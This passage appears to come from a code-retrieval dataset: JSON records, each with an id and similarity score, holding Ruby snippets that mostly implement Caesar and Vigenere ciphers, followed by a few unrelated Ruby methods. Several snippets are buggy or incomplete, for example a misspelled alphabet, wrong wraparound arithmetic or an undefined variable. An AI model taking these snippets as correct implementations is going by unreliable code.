char<='Z' ? 'A'.ord : 'a'.ord\n\t\t\tchar = (((char.ord - uplow + number)%26)+uplow).chr\n\t\tend\n\t\tcipher += char\n\tend\n\tcipher\nend", "title": "" }, { "docid": "8f10907e9af2b7f98095392a278d718c", "score": "0.77317685", "text": "def caesar_cipher_encryptor(string, key)\n\talphabet = %w(a b c d e f g h i j k l m n o p q r s t u v w x y z)\n\tnew_alphabet = []\n\twrap_key = key % 26\n for char in string.split(\"\")\n new_index = alphabet.index(char) + wrap_key\n new_alphabet << alphabet[new_index % 26]\n\tend\n\tnew_alphabet.join(\"\")\nend", "title": "" }, { "docid": "70da94f8032b6729e6fdb5ec84cf7ce2", "score": "0.772644", "text": "def caesar_cipher(input_string, shift_factor)\r\n positions = input_string.unpack('C*')\r\n shifted_positions = positions.map do |pos|\r\n case pos\r\n when (65..90), (97..122)\r\n shifted = pos + (shift_factor % 26) # use % 26 to account for shift factors over 26\r\n if (shifted > 90 && shifted < 97) || (shifted > 122) # loop around\r\n shifted = shifted - 26\r\n end\r\n pos = shifted\r\n else\r\n pos # ignore non-alphabet chars\r\n end\r\n end\r\n result_string = shifted_positions.pack('C*')\r\n puts result_string\r\nend", "title": "" }, { "docid": "e831de2742917729f5495beac39c9679", "score": "0.77238214", "text": "def Caesar_cipher(input_string,input_shift)\n\n alphabet = ('a'..'z').to_a\n alphabetUpCase = ('A'..'Z').to_a\n\n input_string.each_char {|letter| \n if letter =~ /[A-Z]/\n new_letter_index = alphabetUpCase.index(letter) + input_shift\n if new_letter_index > 25\n new_letter_index -= 26\n puts alphabetUpCase[new_letter_index]\n else\n puts alphabetUpCase[new_letter_index]\n end\n elsif letter =~ /[a-z]/\n new_letter_index = alphabet.index(letter) + input_shift\n if new_letter_index > 25\n new_letter_index -= 25\n puts alphabet[new_letter_index]\n else\n puts alphabet[new_letter_index]\n end\n else\n puts letter\n end\n }\nend", "title": "" }, { "docid": "d37763f3030636f4732363c105b3c7ed", "score": "0.7700983", "text": "def caesar(string, shift)\n letters = string.chars\n code_word = []\n letters.each do |letter|\n if /[a-zA-Z]/ !~ letter\n code_word << letter\n else\n new_ord = letter.ord + shift\n if letter.ord > 90\n first_letter = 97\n else\n first_letter = 65\n end\n code_word << (((new_ord % first_letter) % 26) + first_letter).chr\n end\n end\n code_word.join\nend", "title": "" }, { "docid": "75f0fdb6d23f60e25f8a987fbe254c1b", "score": "0.7695367", "text": "def caesar_cipher(string, shift)\n\tstring = string.to_s\n\tshift = shift.to_i\n\tnew_string = \"\"\n\n\tstring.each_byte do |i|\n\t\tif (i > 64 && i < 91) #A-Z\n\t\t\tif (i+shift) > 90\n\t\t\t\tnew_string << (i+shift - 26).chr \n\t\t\telse\n\t\t\t\tnew_string << (i+shift).chr\n\t\t\tend\n\t\telsif (i > 96 && i < 123) #a-z\n\t\t\tif (i+shift) > 122\n\t\t\t\tnew_string << (i+shift - 26).chr\n\t\t\telse\n\t\t\t\tnew_string << (i+shift).chr\n\t\t\tend\n\t\telse\n\t\t\tnew_string << i.chr\n\t\tend\n\tend\n\n\tputs new_string\nend", "title": "" }, { "docid": "3c778b031229e47f85e013b32370c017", "score": "0.7692866", "text": "def caesar_cipher(offset, string)\n\n result = \"\"\n\n array = string.split(\"\")\n\n i = 0\n\n while array.length > i\n\n ascii = array[i].ord\n p ascii\n\n if( array[i] != \" \") # keep space the same, do not add offset\n ascii += offset\n end\n\n if ascii >= 122 # IMPORTANT\n\n # look at note2self\n #\n back_round_from_a = ( ascii - \"a\".ord ) % 26\n #\n # look at note2self\n\n ascii = back_round_from_a + \"a\".ord\n # if x, i.e. x = 199 & offset = 3 so, total 122, then back_round_from_a = 0\n # Therefor, back_round_from_a + \"a\".ord === 0 + 97 => a\n\n end\n\n letter = ascii.chr\n p letter\n\n result += letter\n\n i += 1\n end # while\n\n p result\n\n return result\n\nend", "title": "" }, { "docid": "e024c920c918775fbd9604d6ba8f2448", "score": "0.7678808", "text": "def caesars_cipher(str, shift = 1)\n encrypted = ''\n\n ascii_nums = str.bytes\n ascii_nums.each do |i|\n encrypted << case i\n when 65..90\n ((i + shift - 65) % 26 + 65).chr\n when 97..122\n ((i + shift - 97) % 26 + 97).chr\n else\n i.chr\n end\n end\n encrypted\nend", "title": "" }, { "docid": "604249d959f22e1233a558838784ef1a", "score": "0.7676639", "text": "def vigenere_cipher(str, arr)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n results = \"\"\n str.each_char.with_index do |char, i|\n ind = (alphabet.index(char) + arr[0]) % 26\n results += alphabet[ind]\n arr.rotate!\n end\n results\nend", "title": "" }, { "docid": "0527249bfb54c3bd3e1083e605926a3b", "score": "0.76752055", "text": "def caesar_cipher(str, shift)\n\nend", "title": "" }, { "docid": "a46c68f66163700f51acd8857202c68f", "score": "0.7656144", "text": "def caesar_cipher text, shift = 5 #shifts letters by 5 - by default\nletters = text.split(//)\nncrypted_string = \"\"\nletters.each do |x|\nif (x =~ /\\w/) && (x =~ /\\D/) && (x != \"_\") ##Checks with RegEx's whether the current array index' value is a word character + a non-digit character + not an underscore '_', so only a-z & A-Z letters pass the test and are affected by the following code.\nif x == x.upcase ##<-I do this so I can wrap back to A when Z's #ord index is exceeded. \"A\".ord == 65, \"Z\".ord == 90\nx = x.ord + shift\nif x > 90\nx -= 90\nx += 64\nend\nelsif x == x.downcase ##Same is done here for downcases as is done above for upcases. \"a\".ord == 97, \"z\".ord == 122\nx = x.ord + shift\nif x > 122\nx -= 122\nx += 96\nend\nend\nx.chr\nend\nncrypted_string << x\nend\nputs ncrypted_string\nend", "title": "" }, { "docid": "ebaaeaffba80edc0077437b4bb8ababf", "score": "0.76325333", "text": "def caesar_cipher(word, shift)\n ascii_shift = 97\n word.each_codepoint.map do |num|\n num = num - ascii_shift + shift\n num = (num % 26) + ascii_shift\n end\n .inject('', :<<)\nend", "title": "" }, { "docid": "804221ec43cc35aede3991164d7b751c", "score": "0.7627134", "text": "def caesar_cipher(phrase, shift)\n shifted_array = phrase.chars.map {|char| shift_letter(char, shift)}\n new_phrase = shifted_array.join\nend", "title": "" }, { "docid": "62181b4b496b4d752239328dcdf1b179", "score": "0.7624487", "text": "def caesarCipherEncryptor(string, key)\n new_letters = []\n new_key = key % 26\n alphabet = (\"abcdefghijklmnopqrstuvwxyz\").chars\n\n string.each_char do |letter|\n new_letters.append(get_new_letter(letter, new_key, alphabet))\n end\n return new_letters.join\nend", "title": "" }, { "docid": "cdf9a1932bdad8ac6abd0a5ed3e3fc59", "score": "0.76099294", "text": "def caesar_cipher(shift, string)\n alphabet = (\"a\"..\"z\").to_a\n blank = string.each_char.map do |letter| alphabet.include?(letter) ? alphabet[(alphabet.index(letter) + shift) % alphabet.length] : letter\n end\n return blank.join #must use return not puts, otherwise tests will not pass! Also no (\" \") needed because mapping adds a \" \"\n #in between every letter and a \"nil\" + \" \" in between every word, and join deletes the spaces in between the letters\n #and deletes the nil in between words, leaving one space in between words.\nend", "title": "" }, { "docid": "29607115b126a8f70bb25efeec714128", "score": "0.76020736", "text": "def caesar_cipher(input, shift)\n\toutput = \"\"\n\t\n\tinput.each_byte do |ascii|\n\t\t# Take each character's ASCII code\n\t\tif ascii >= 65 && ascii <= 90\n\t\t\t# If character is uppercase letter:\n\t\t\tascii -= 65 \t\t\t\t\t# Subtract to A=0, Z=25\n\t\t\tascii = (ascii + shift) % 26 \t# Shift with wrapping Z-to-A\n\t\t\tascii += 65\t\t\t\t\t\t# Add back to new ASCII code\n\t\t\toutput += ascii.chr\t\t\t\t# Add ASCII character to output\n\t\telsif ascii >= 97 && ascii <= 122\n\t\t\t# If character is lowercase letter:\n\t\t\tascii -= 97 \t\t\t\t\t# Subtract to a=0, z=25\n\t\t\tascii = (ascii + shift) % 26 \t# Shift with wrapping z-to-a\n\t\t\tascii += 97\t\t\t\t\t\t# Add back to new ASCII code\n\t\t\toutput += ascii.chr\t\t\t\t# Add ASCII character to output\n\t\telse\n\t\t\toutput += ascii.chr\t\t\t\t# Else just add character to output\n\t\tend\n\tend\n\toutput\nend", "title": "" }, { "docid": "0248a21824989e3ed5d9bd1968727ee3", "score": "0.7599272", "text": "def caesar_cipher(word, shift) \n\n #Checks if 'word' is a String \n unless word.is_a? String\n return \"Input was not text\"\n end\n\n #Initializes a temp word\n new_word = \"\"\n\n #Creates an array of ascii numbers for each letter in 'word'\n word_array = word.codepoints.to_a\n\n #Loops over each letter in 'word' and manipulates\n for i in 0..word_array.length-1\n\n #Keeps track of the letter casing\n lowercase = false\n if word_array[i] >= 97 && word_array[i] <= 122\n lowercase = true\n else\n lowercase = false\n end\n\n #Adds the shift to the letter (checks if the character is a letter and not a symbol or space)\n if word_array[i] >= 65 && word_array[i] <= 122\n word_array[i] += shift\n end\n\n # Checks character ascii values\n if word_array[i] > 122 && lowercase == true\n word_array[i] -= 26\n elsif word_array[i] > 90 && lowercase == false\n word_array[i] -= 26\n end\n new_word += word_array[i].chr\n end\n return new_word\nend", "title": "" }, { "docid": "0fce79aa58f0f8f2f9822dbd58b06211", "score": "0.7593327", "text": "def caesar_cipher(text, shift)\n upper = ('A'..'Z').to_a\n lower = ('a'..'z').to_a\n shifted = text.split('').map do |character|\n case character\n when /[[:upper:]]/ then \n (upper.rotate(shift))[upper.index(character)]\n when /[[:lower:]]/ then \n (lower.rotate(shift))[lower.index(character)]\n else character\n end\n end\n shifted.join\nend", "title": "" }, { "docid": "a8e3290b992b0fd64d4f6d930faa2475", "score": "0.75876534", "text": "def caesar_cipher(offset, string)\n\talph = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\ti = 0\n\tnew_string = \"\"\n\tind = 0\n\n\tputs string.length \n\n\twhile i < string.length\n\t\t\n\t\t\n\t\t\n\t\tif string[i] == \" \"\n\t\t\tnew_string = new_string + \" \"\n\t\t\t\n\t\telse \n\t\t\tind = alph.index(string[i])\n\t\t\t\n\t\t\tif (ind + offset) > 25\n\t\t\t\tind = (ind + offset) - 26 \n\t\t\t\t\n\t\t\t\tnew_string = new_string + alph[(ind)]\n\t\t\t\t\n\t\t\telse \n\t\t\t\tnew_string = new_string + alph[(ind + offset)]\n\t\t\t\t\n\t\t\tend\n\t\tend\n\t\ti +=1\n\tend\n\n\treturn new_string\n\nend", "title": "" }, { "docid": "24c9beb412748aca5e4fda1bd45e648c", "score": "0.75827813", "text": "def caesar_cipher(string, shift)\nend", "title": "" }, { "docid": "be2c005d61cb21d783720eebd11ad1ef", "score": "0.7575609", "text": "def caesar_cipher(str, shift)\n new_str = []\n str = str.split('')\n str.each do |x| \n new_str << letter_cipher(x, shift) \n end\n new_str = new_str.join\n puts new_str\n return new_str\nend", "title": "" }, { "docid": "6778645a34fc5640c293b7ec797d6339", "score": "0.7565084", "text": "def caesar_cipher(message, shift_key)\n result = \" \"\n message.each_char do |letter|\n if letter.ord.between?(65,90) || letter.ord.between?(97, 122)\n final_code = letter.ord + shift_key\n\n final_code -= 26 if (final_code > 91 && letter.ord < 91) || final_code > 122\n result += final_code.chr\n else\n result += letter\n end\n end\n return result\nend", "title": "" }, { "docid": "cc0433a88ca22768cc695e06c5189cf3", "score": "0.75331646", "text": "def caesar_cipher(string, key) \n\tarr_string = string.downcase.split(\"\") \n\talpha = (\"a\"..\"z\").to_a \n\tfor i in arr_string do \n\t\tif alpha.include?(i) \n\t\t\talpha_index = alpha.index(i) \n\t\t\tstring_index = arr_string.index(i) \n\t\t\tif alpha_index + key > 25 \n\t\t\t\tkey_change = alpha[alpha_index + key - 25 - 1] \n\t\t\t\tarr_string[string_index] = key_change \n\t\t\telse \n\t\t\t\tkey_change = alpha[alpha_index + key] \n\t\t\t\tarr_string[string_index] = key_change \n\t\t\tend \n\t\tend \n\tend \n\tarr_string.join\nend", "title": "" }, { "docid": "e633888c296f0de6514ce4f37713dd76", "score": "0.750033", "text": "def cipher(char, key)\n alpha = (\"a\"..\"z\").to_a\n idx = alpha.index(char)\n new_idx = (idx + key) % 26\n alpha[new_idx]\nend", "title": "" }, { "docid": "f57b0d539b671da2c919264cd9429721", "score": "0.7499117", "text": "def CaesarCipher(str, num)\n\talphabet = \"abcdefghijkmnopqrstuvwxyz\"\n\toutput = \"\"\n\tstr.split(\"\").each { |x|\n\t\tif '\\#{\\'}${\"}/'.include?(x)\n\t\t\toutput << x\n\t\telse\n\t\t\tcount = alphabet.index(char.downcase) + num\n\t\t\tcount -= 26 if count > 26\n\t\t\ttransformed_char = alphabet[count]\n\t\t\tif x == x.upcase\n\t\t\t\toutput << transformed_char.upcase\n\t\t\telse\n\t\t\t\toutput << transformed_char\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "1d5373e0390c720be06d29b580a69cb1", "score": "0.7493725", "text": "def caesar_cipher(string, shift)\n result = \"\"\n string.each_char do |ch|\n result += ch == \" \" ? ch : shift(ch, shift)\n end\n result\nend", "title": "" }, { "docid": "9d42b31110c2f2eee37f76c6740e745f", "score": "0.74621916", "text": "def caesar_cipher(text, shift=0)\n return text if shift == 0 || text == \"\" || shift.nil? || text.nil?\n standard_key_caps = (\"A\"..\"Z\").to_a\n standard_key_lower = (\"a\"..\"z\").to_a\n\n while shift < 0 do\n shift += 26\n end\n\n i = shift % 26\n\n\n shift_key_caps = []\n range = ('A'..'Z').to_a\n range.each do |x|\n shift_key_caps[i] = x\n i+=1\n i=0 if i >= 26\n end\n\n i=shift\n shift_key_lower = []\n range = ('a'..'z').to_a\n range.each do |x|\n shift_key_lower[i] = x\n i+=1\n i=0 if i >= 26\n end\n\n text_mod = \"\"\n text.each_char do |x|\n character = x\n if standard_key_caps.include?(x)\n offset = shift_key_caps.index(x)\n character = standard_key_caps[offset]\n elsif standard_key_lower.include?(x)\n offset = shift_key_lower.index(x)\n character = standard_key_lower[offset]\n end\n text_mod = text_mod + character\n end\n text_mod\nend", "title": "" }, { "docid": "413171f6b0bc353dffcb10c1a0fe63ca", "score": "0.74600667", "text": "def shift(letter, key)\n unless key.between?(0, 25)\n raise ArgumentError, \"Key must be an integer between 0 and 25\"\n end\n\n alphabet_end_code = is_upper?(letter) ? \"Z\".ord : \"z\".ord\n letter_code = letter.ord\n ciphered_code = letter_code + key\n\n if ciphered_code > alphabet_end_code\n # loop back around to start of alphabet\n ciphered_code -= 26\n end\n\n ciphered_code.chr\nend", "title": "" }, { "docid": "8d05dd30c856e8ee02693dec12bbbdce", "score": "0.74385685", "text": "def caesar_cipher(string, shift)\n alphabet = Array('a'..'z')\n encrypter = Hash[alphabet.zip(alphabet.rotate(shift))]\n string.chars.map { |c| encrypter.fetch(c, \" \") }\nend", "title": "" }, { "docid": "0c9e5e827e2bbb4f2bd8ed6b79158e87", "score": "0.7433591", "text": "def caesar_cipher(userWord, userShift)\n userWordArray = userWord.split(\"\") #Makes an array of characters\n shift = userShift%26\n c = []\n userWordArray.each do |letter|\n if letter.ord == 32\n c.push(letter)\n elsif letter.ord < 122\n b = letter.ord + shift\n c.push(b.chr)\n else\n b = letter.ord \n diff= (b-122) + shift\n b = 96+diff\n c.push(b.chr)\n end\n end\n c = c.join\nend", "title": "" }, { "docid": "71f3c1387804575113741c8e0710467d", "score": "0.7422252", "text": "def rot13(string)\n # Put your code here!\n ans = \"\"\n alph = \"abcdefghijklmnopqrstuvwxyz\"\n calph = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n string.each_char do |x|\n if alph.include?(x)\n ind = alph.index(x)\n newi = ind + 13\n pos = newi % 26\n ans << alph[pos]\n elsif calph.include?(x)\n ind = calph.index(x)\n newi = ind + 13\n pos = newi % 26\n ans << calph[pos]\n else\n ans << x\n end\n end\n return ans\n\nend", "title": "" }, { "docid": "b59bff4b5d27c34370ebc6fc6bf68085", "score": "0.7406798", "text": "def caesar_cipher(text, key)\n ciphered_text = []\n text.chars.each do |letter|\n ciphered_letter = letter\n if letter.match(/^[[:alpha:]]$/)\n key.times do\n if ciphered_letter == 'z'\n ciphered_letter = 'a'\n elsif ciphered_letter == 'Z'\n ciphered_letter = 'A'\n else\n ciphered_letter = ciphered_letter.next\n end\n end\n end\n ciphered_text << ciphered_letter\n end\n ciphered_text.join('')\nend", "title": "" }, { "docid": "c66eb85a5c89834b2fbafec9c5623c1d", "score": "0.73987013", "text": "def vigenere_cipher(str, arr)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n str.each_char.with_index do |char, i|\n pos = alpha.index(char)\n key = arr[i % arr.length]\n new_pos = (pos + key) % alpha.length\n new_str += alpha[new_pos]\n end\n new_str\nend", "title": "" }, { "docid": "b07c7560f662384d1a7c8addfc0fd5ca", "score": "0.73845994", "text": "def caesar_cipher(sentence, raw_offset)\r\n offset = raw_offset % 26\r\n sentence.gsub(/([a-zA-Z])/){|char| shift_the_letter(char.ord, offset).chr}\r\nend", "title": "" }, { "docid": "951a9c006a22747182c5530508c898ec", "score": "0.73843974", "text": "def encipher(char, shift) \n if char >= 65 && char <= 90 \n index = char - 65\n shifted_char = (index + shift) % 26\n if shifted_char < 0 \n shifted_char += 26\n enciphered_char = shifted_char + 65\n else\n enciphered_char = shifted_char + 65\n end\n elsif char >= 97 && char <= 122\n index = char - 97\n shifted_char = (index + shift) % 26\n if shifted_char < 0\n shifted_char += 26\n enchiphered_char = shifted_char + 97\n else \n enciphered_char = shifted_char + 97\n end\n else\n char = char \n end\nend", "title": "" }, { "docid": "f2bd7c65f90a18248680bfe59073067e", "score": "0.73727685", "text": "def caesar_cipher(offset, string)\n words = string.split(\" \")\n\n word_idx = 0\n while word_idx < words.length\n word = words[word_idx]\n\n letter_idx = 0\n while letter_idx < word.length\n char_i = word[letter_idx].ord - \"a\".ord\n\n new_char_i = (char_i + offset) % 26\n word[letter_idx] = (\"a\".ord + new_char_i).chr\n\n letter_idx += 1\n end\n\n word_idx += 1\n end\n\n return words.join(\" \")\nend", "title": "" }, { "docid": "05ac70532e9b544bd201e4769955b479", "score": "0.7372053", "text": "def caesar_cipher phrase, shift\n\tphrase.split('').map { |char| \n\t\tif (char.match(/[a-z]/))\n\t\t\t((((char.ord - 97) + shift) % 26) + 97).chr\n\t\telsif (char.match(/[A-Z]/))\n\t\t\t((((char.ord - 65) + shift) % 26) + 65).chr\n\t\telse\n\t\t\tchar\n\t\tend\n\t}.join\nend", "title": "" }, { "docid": "25f8d527db101d6e02acfdd34379d5e9", "score": "0.7365573", "text": "def ceasar_cipher(phrase, shift)\n phrase.downcase!\n words = phrase.split(\" \")\n words.each do |word| #for each word in the sentence\n word.split(\"\").each_with_index do |letter, index| #for each letter in the word\n asciiValue = letter.ord\n if(asciiValue >= 97 && asciiValue <= 122) #if the value is a letter and not a character or digit\n\n newValue = asciiValue + shift\n \n if newValue > 122 #if it goes beyond z, loop around back to a\n difference = newValue - 122\n offset = 96+difference\n letter = offset.chr\n word[index] = letter\n else\n letter = newValue.chr \n word[index] = letter\n end\n end \n end\n end\n puts words.join(\" \")\nend", "title": "" }, { "docid": "8052f91692f40d4d8c908a159d21635c", "score": "0.736453", "text": "def caesar_cipher(_str, n)\n (0..._str.length).each do |i|\n if _str[i].ord > 96 && _str[i].ord < 123\n _str[i] = if (_str[i].ord + n) >= 122\n (_str[i].ord - (26 - n)).chr\n else\n (_str[i].ord + n).chr\n end\n elsif _str[i].ord > 64 && _str[i].ord < 91\n _str[i] = if (_str[i].ord + n) >= 90\n (_str[i].ord - (26 - n)).chr\n else\n (_str[i].ord + n).chr\n end\n end\n end\n _str\nend", "title": "" }, { "docid": "c69e25655393418f907dfb58bfd1cf59", "score": "0.7362325", "text": "def letter_cipher(letter, shift)\n if not letter?(letter)\n return letter\n end\n cap_start = 'A'.ord\n low_start = 'a'.ord\n if is_upper(letter)\n start = cap_start\n else\n start = low_start\n end\n mod_letter = (letter.ord + shift - start)\n if mod_letter >= 26\n if is_upper(letter)\n start = low_start\n else\n start = cap_start\n end\n end\n mod_letter = start + mod_letter % 26\n return mod_letter.chr\nend", "title": "" }, { "docid": "4bff78ceabebeff46046844b327d9e0c", "score": "0.7354514", "text": "def Caesar_Cypher(string, shift_factor)\n coded_array = []\n arr = string.split(\"\")\n\n arr.each do |letter|\n ascii_letter = letter.ord\n\n if ascii_letter.between?(65, 90)\n ascii_letter += shift_factor\n if ascii_letter > 90\n ascii_letter -= 26\n end\n elsif ascii_letter.between?(97, 122)\n ascii_letter += shift_factor\n if ascii_letter > 122\n ascii_letter -= 26\n end\n end\n\n coded_array.push(ascii_letter.chr)\n end\n\n cypher = coded_array.join(\"\")\n p cypher\nend", "title": "" }, { "docid": "ed4d71d4b5d19645bc8d212420ac3aea", "score": "0.7345884", "text": "def cipher(word, key) \n #create a code for each letter of the alphabet (index == code)\n up_alpha = [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n down_alpha = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n word_arr = []\n word_arr = word.split(//)\n\n #shift the value of each letter in the array \n word_arr.each do |letter|\n new_arr = []\n if up_alpha.include?(letter)\n new_index = up_alpha.index(letter) + key\n #If the new index exceed 25, rollover to index 0 (for uppercase letters)\n if new_index > 25\n new_index = new_index - 26\n new_arr.push(up_alpha[new_index])\n else \n new_arr.push(up_alpha[new_index])\n end\n\n elsif down_alpha.include?(letter)\n new_index = down_alpha.index(letter) + key\n #If the new index exceed 25, rollover to index 0 (for lowercase letters)\n if new_index > 25\n new_index = new_index - 26\n new_arr.push(down_alpha[new_index])\n else \n new_arr.push(down_alpha[new_index])\n end \n else\n new_arr.push(letter)\n end\n #combine the array into a string\n print new_arr.join()\n end\n puts ''\nend", "title": "" }, { "docid": "3cbdf345fe11b1ae3b2bdd69a5073ea8", "score": "0.73422545", "text": "def ceasar_cipher(input, shifter)\n\n alphabet = Array('a'..'z')\n lower_case = Hash[alphabet.zip(alphabet.rotate(shifter))]\n\n alphabet = Array('A'..'Z')\n upper_case = Hash[alphabet.zip(alphabet.rotate(shifter))]\n\n cipher = lower_case.merge(upper_case)\n\n input.chars.map{ |c| cipher.fetch(c , c)}.join\n \nend", "title": "" }, { "docid": "7f5bd1c349f9fc71b566e47c84652bf6", "score": "0.7325427", "text": "def caesar_cipher(string, shift = 1)\n alphabet = Array('a'..'z')\n non_caps = Hash[alphabet.zip(alphabet.rotate(shift))]\n \n alphabet = Array('A'..'Z')\n caps = Hash[alphabet.zip(alphabet.rotate(shift))]\n \n encrypter = non_caps.merge(caps)\n \n string.chars.map { |c| encrypter.fetch(c, c) }\nend", "title": "" }, { "docid": "57cdcab9da60359283293891a45f584a", "score": "0.7318817", "text": "def vigenere_cipher(string, key_sequence)\n alphabet = ('a'..'z').to_a\n keys = key_sequence.dup\n result = \"\"\n while result.length < string.length\n c = string[result.length] \n offset = (alphabet.index(c) + keys.first) % 26 \n result += alphabet[offset]\n keys.push(keys.shift)\n end\n result\nend", "title": "" }, { "docid": "5a111fd11ca059176e7719e2e0bea762", "score": "0.7300574", "text": "def play_pass(str, n)\n alphabet = (\"A\"..\"Z\").to_a\n shifted_alphabet = alphabet.rotate(n)\n ary = str.chars\n \n ary.each_with_index do |item, index|\n if item == item.to_i.to_s\n ary[index] = (9 - item.to_i).to_s\n elsif alphabet.include?(item)\n ind = alphabet.index(item)\n ary[index] = shifted_alphabet[ind]\n end\n end\n ary.map!.with_index { |item, index| index.odd? ? ary[index].downcase : ary[index].upcase }\n \n ary.join('').reverse\nend", "title": "" }, { "docid": "12c554d595f8d765de09d4fa235e9b0e", "score": "0.7298841", "text": "def vigenere_cipher(string, key_sequence)\n result = \"\"\n alphabet = (\"a\"..\"z\").to_a\n string.each_char.with_index do |ch, idx|\n key_idx = idx % key_sequence.length\n char_idx = (alphabet.index(ch) + key_sequence[key_idx]) % alphabet.length\n result << alphabet[char_idx]\n end\n result\nend", "title": "" }, { "docid": "55678e1484b0c2ea2421ab5cec850d02", "score": "0.7292992", "text": "def caesar_cipher(word, shift)\n\tletters = ('a'..'z').to_a.concat(('A'..'Z').to_a) # create array of all possible chars\n\tdecoded = \"\"\n\n\tword.each_char do |c| \n\t\tif letters.include?(c)\t\n\t\t\tdecoded += letters[letters.index(c) - shift]\n\t\telse\n\t\t\tdecoded += c # adds non-alpha char to the decoded string\n\t\tend\n\tend\n\t decoded\nend", "title": "" }, { "docid": "55678e1484b0c2ea2421ab5cec850d02", "score": "0.7292992", "text": "def caesar_cipher(word, shift)\n\tletters = ('a'..'z').to_a.concat(('A'..'Z').to_a) # create array of all possible chars\n\tdecoded = \"\"\n\n\tword.each_char do |c| \n\t\tif letters.include?(c)\t\n\t\t\tdecoded += letters[letters.index(c) - shift]\n\t\telse\n\t\t\tdecoded += c # adds non-alpha char to the decoded string\n\t\tend\n\tend\n\t decoded\nend", "title": "" }, { "docid": "e13db202f84004afe6c51c4bbe9c11c4", "score": "0.72894406", "text": "def vigenere_cipher(str, arr)\n alpha = ('a'..'z').to_a\n new_msg = ''\n\n str.each_char.with_index do |char,idx|\n old_pos = alpha.index(char)\n new_pos = old_pos + arr[idx % arr.length]\n new_msg += alpha[new_pos % 26]\n end\n new_msg\nend", "title": "" }, { "docid": "b5802ce17caeaf8fd10c496f8e4e08ca", "score": "0.72885835", "text": "def caeser_cipher(message, inc)\n message.downcase!\n alphabet = (\"a\"..\"z\").to_a\n message_array = message.split(//)\n puts(message_array)\n\n message_index_array = message_array.map do |e|\n alphabet.index(e)\n end\n\n puts(message_index_array)\n rotated = alphabet.rotate(inc)\n puts(rotated)\n\n crypted_array = message_index_array.map do |e|\n if e == nil\n \" \"\n else\n rotated[e]\n end \n end\n\n crypted_array.join\n #it iterates through the message array, and finds the index of each character within the alphabet\n #the alphabet array shifts based on inc\n #each chacter in the message array is swapped out for it's indexed counterpart. \nend", "title": "" }, { "docid": "77661a5e522b12e4de4208a2107ff3e0", "score": "0.72796005", "text": "def solve_cipher(string, n)\n\n#Split each element of the string to get and array and return an array where each element is x (to operate with each element)\n string.split('').map do |x|\n#Create a new variable that will be the new index for each element.\n new_index = x.ord + n\n \n#Define the new index value with if conditional statements.\n\n#The value for whitespace is its value -26 as it is not included in the alphanumerical rules defined above\nif x == ' '\n new_index = ' '.ord - 26\nend\n\n\n#Declare the values of the index where it is above z's\nif new_index > 'z'.ord\n new_index = 'a'.ord + new_index - 'z'.ord - 1\nend\n\n#Declare the values of the index where it is beyond a's\nif new_index < 'a'.ord\n new_index = 'z'.ord - ('a'.ord - new_index) + 1\nend\n \n #Make the function return the list of numbers converted into letters \n new_index.chr\n\nend.join\n\nend", "title": "" }, { "docid": "dadcfebf6c1d7d61bc29d2bf65570ae4", "score": "0.7273523", "text": "def vigenere_cipher(str,keys)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n\n str.each_char.with_index do |char,idx|\n old_pos = alpha.index(char)\n new_pos = old_pos + keys[idx % keys.length]\n new_str += alpha[new_pos % alpha.length]\n end\n\n new_str\n\nend", "title": "" }, { "docid": "db1bd7d3b8a92eef3a700580e3fbca19", "score": "0.7263608", "text": "def caesarCipher(s, k)\n s.chars.map do |e|\n e = e.ord\n case e\n when 97..122\n e + k > 122 ? (e + k - 122 + 97 - 1) : e + k\n when 65..90\n e + k > 90 ? (e + k - 90 + 65 - 1) : e + k \n else\n e \n end\n end.map{|e| e.chr}.join\nend", "title": "" } ]
4ca9391a49fb880de3c1262749e79659
Returns the single inner type or raises an error if this union type contains more than one inner type.
[ { "docid": "9bf0b30d37e429851292b0049bb9fc04", "score": "0.6413786", "text": "def singleton_type\n if !is_singleton?\n raise AssertionError.new(\n \"Union type is not singleton (found #{@types.size} types)\")\n end\n\n return @types.first\n end", "title": "" } ]
[ { "docid": "fc2a31d7b4044f85dab8eb2cd8acad11", "score": "0.52443737", "text": "def get\n if either_value.right? then either_value.right_value else raise NoSuchElementError end\n end", "title": "" }, { "docid": "819144e146c35deab16ea1aaceb7da3f", "score": "0.4970398", "text": "def get\n if either_value.left? then either_value.left_value else raise NoSuchElementError end\n end", "title": "" }, { "docid": "caa69f66d6abd53a9d428376990aa777", "score": "0.49449912", "text": "def include?(singleton_type)\n if singleton_type.is_union_type?\n raise AssertionError.new(\"Union type can never be included in union type\")\n end\n\n @types.include?(singleton_type)\n end", "title": "" }, { "docid": "8cc8c5e29e86d5a8314dad7dd7419f26", "score": "0.4923271", "text": "def proxy_simplify\n ts = @types.dup.delete_if do |t|\n t.is_a? NominalType and\n (t.klass == NilClass or t.klass == FalseClass)\n end\n if ts.length == @types.length\n then self\n else if ts.length == 1\n then ts.to_a[0]\n else UnionType.new(ts)\n end\n end\n end", "title": "" }, { "docid": "98818213efee30a68f0ee97a39a5c69a", "score": "0.48663247", "text": "def sub_type\n @sub_type || parse_and_return(:@sub_type)\n end", "title": "" }, { "docid": "a394a921e5186f09ba6214ea457335d8", "score": "0.47655562", "text": "def type\n types.first\n end", "title": "" }, { "docid": "acbae8aa509af87f510e791eeb989b6e", "score": "0.47398534", "text": "def find_type_elements(type, nested = T.unsafe(nil), elements = T.unsafe(nil)); end", "title": "" }, { "docid": "9496aa261d40f0cd364496e944ef2b3a", "score": "0.4631897", "text": "def type\n types.first\n end", "title": "" }, { "docid": "73f0eed716507279c52a52a7c73900be", "score": 